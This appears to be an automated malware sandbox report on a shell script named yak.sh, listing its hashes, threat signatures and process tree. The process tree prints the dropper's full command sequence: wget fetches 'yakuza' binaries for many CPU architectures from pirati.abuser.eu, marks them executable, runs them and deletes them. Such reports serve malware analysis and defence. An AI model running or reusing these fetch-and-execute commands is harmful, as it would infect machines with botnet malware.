Overview

overview

7

Static

static

1

yak.sh

ubuntu-18.04-amd64

7

yak.sh

debian-9-armhf

7

yak.sh

debian-9-mips

7

yak.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    8s
  • max time network
    10s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19-10-2024 11:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    yak.sh

  • Size

    1KB

  • MD5

    d38e8407bbc72cbd2057efdd3d8b7a05

  • SHA1

    89e1ebb28cea58b8f9eb728383f8cb565d58518e

  • SHA256

    ea83411bd7b6e5a7364f7b8b9018f0f17f7084aeb58a47736dd80c99cfeac7f1

  • SHA512

    c0a0450a308555a0c3ff52d7d8fc0ce8ff55b9bca8b700cdf87b222b2bfe2ea112de21aa59a8535020b7d4636f64334606494da99e007caecb09ff3ae69589c9

Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/yak.sh
    /tmp/yak.sh
    1⤵
      PID:639
      • /usr/bin/wget
        wget http://pirati.abuser.eu/yakuza.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:646
      • /bin/chmod
        chmod +x yakuza.mips
        2⤵
        • File and Directory Permissions Modification
        PID:669
      • /tmp/yakuza.mips
        ./yakuza.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:670
      • /bin/rm
        rm -rf yakuza.mips
        2⤵
        • System Network Configuration Discovery
        PID:672
      • /usr/bin/wget
        wget http://pirati.abuser.eu/yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:673
      • /bin/chmod
        chmod +x yakuza.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:674
      • /tmp/yakuza.mipsel
        ./yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:675
      • /bin/rm
        rm -rf yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:676
      • /usr/bin/wget
        wget http://pirati.abuser.eu/yakuza.sh
        2⤵
          PID:677
        • /bin/chmod
          chmod +x yakuza.sh
          2⤵
          • File and Directory Permissions Modification
          PID:678
        • /tmp/yakuza.sh
          ./yakuza.sh
          2⤵
            PID:679
          • /bin/rm
            rm -rf yakuza.sh
            2⤵
              PID:680
            • /usr/bin/wget
              wget http://pirati.abuser.eu/yakuza.x86
              2⤵
                PID:681
              • /bin/chmod
                chmod +x yakuza.x86
                2⤵
                • File and Directory Permissions Modification
                PID:682
              • /tmp/yakuza.x86
                ./yakuza.x86
                2⤵
                  PID:683
                • /bin/rm
                  rm -rf yakuza.x86
                  2⤵
                    PID:684
                  • /usr/bin/wget
                    wget http://pirati.abuser.eu/yakuza.arm6
                    2⤵
                      PID:685
                    • /bin/chmod
                      chmod +x yakuza.arm6
                      2⤵
                      • File and Directory Permissions Modification
                      PID:686
                    • /tmp/yakuza.arm6
                      ./yakuza.arm6
                      2⤵
                        PID:687
                      • /bin/rm
                        rm -rf yakuza.arm6
                        2⤵
                          PID:688
                        • /usr/bin/wget
                          wget http://pirati.abuser.eu/yakuza.i686
                          2⤵
                            PID:689
                          • /bin/chmod
                            chmod +x yakuza.i686
                            2⤵
                            • File and Directory Permissions Modification
                            PID:692
                          • /tmp/yakuza.i686
                            ./yakuza.i686
                            2⤵
                              PID:694
                            • /bin/rm
                              rm -rf yakuza.i686
                              2⤵
                                PID:695
                              • /usr/bin/wget
                                wget http://pirati.abuser.eu/yakuza.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:697
                              • /bin/chmod
                                chmod +x yakuza.ppc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:713
                              • /tmp/yakuza.ppc
                                ./yakuza.ppc
                                2⤵
                                  PID:715
                                • /bin/rm
                                  rm -rf yakuza.ppc
                                  2⤵
                                    PID:717
                                  • /usr/bin/wget
                                    wget http://pirati.abuser.eu/yakuza.i586
                                    2⤵
                                      PID:718
                                    • /bin/chmod
                                      chmod +x yakuza.i586
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:721
                                    • /tmp/yakuza.i586
                                      ./yakuza.i586
                                      2⤵
                                        PID:722
                                      • /bin/rm
                                        rm -rf yakuza.i586
                                        2⤵
                                          PID:723
                                        • /usr/bin/wget
                                          wget http://pirati.abuser.eu/yakuza.m68k
                                          2⤵
                                            PID:725
                                          • /bin/chmod
                                            chmod +x yakuza.m68k
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:727
                                          • /tmp/yakuza.m68k
                                            ./yakuza.m68k
                                            2⤵
                                              PID:729
                                            • /bin/rm
                                              rm -rf yakuza.m68k
                                              2⤵
                                                PID:730
                                              • /usr/bin/wget
                                                wget http://pirati.abuser.eu/yakuza.arm4
                                                2⤵
                                                  PID:732
                                                • /bin/chmod
                                                  chmod +x yakuza.arm4
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:734
                                                • /tmp/yakuza.arm4
                                                  ./yakuza.arm4
                                                  2⤵
                                                    PID:735
                                                  • /bin/rm
                                                    rm -rf yakuza.arm4
                                                    2⤵
                                                      PID:736
                                                    • /usr/bin/wget
                                                      wget http://pirati.abuser.eu/yakuza.arm5
                                                      2⤵
                                                        PID:738
                                                      • /bin/chmod
                                                        chmod +x yakuza.arm5
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:740
                                                      • /tmp/yakuza.arm5
                                                        ./yakuza.arm5
                                                        2⤵
                                                          PID:744
                                                        • /bin/rm
                                                          rm -rf yakuza.arm5
                                                          2⤵
                                                            PID:745
                                                          • /usr/bin/wget
                                                            wget http://pirati.abuser.eu/yakuza.arm7
                                                            2⤵
                                                              PID:746
                                                            • /bin/chmod
                                                              chmod +x yakuza.arm7
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:749
                                                            • /tmp/yakuza.arm7
                                                              ./yakuza.arm7
                                                              2⤵
                                                                PID:751
                                                              • /bin/rm
                                                                rm -rf yakuza.arm7
                                                                2⤵
                                                                  PID:752
                                                                • /usr/bin/wget
                                                                  wget http://pirati.abuser.eu/yakuza.sparc
                                                                  2⤵
                                                                    PID:755
                                                                  • /bin/chmod
                                                                    chmod +x yakuza.sparc
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:758
                                                                  • /tmp/yakuza.sparc
                                                                    ./yakuza.sparc
                                                                    2⤵
                                                                      PID:759
                                                                    • /bin/rm
                                                                      rm -rf yakuza.sparc
                                                                      2⤵
                                                                        PID:761

                                                                    Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    • /tmp/yakuza.mips
                                                                      Filesize

                                                                      183KB

                                                                      MD5

                                                                      983c5d72544a32a574f5e914253a618b

                                                                      SHA1

                                                                      76cd31603cb4e7fa0c78e37c62b5857098f78442

                                                                      SHA256

                                                                      fc4a02d90a8b9efeb4dfba835d514b728399bc8424253341a30e13b40cb15373

                                                                      SHA512

                                                                      7a667b29715b153c58abe022d862f0fcc789b24f5f7cd8fb94c5079d0c513d54ba37b061979993c6a3a1ebe1046ceeb03581119b542bef7b1abe8dc6b300c9bf

                                                                      Download Submit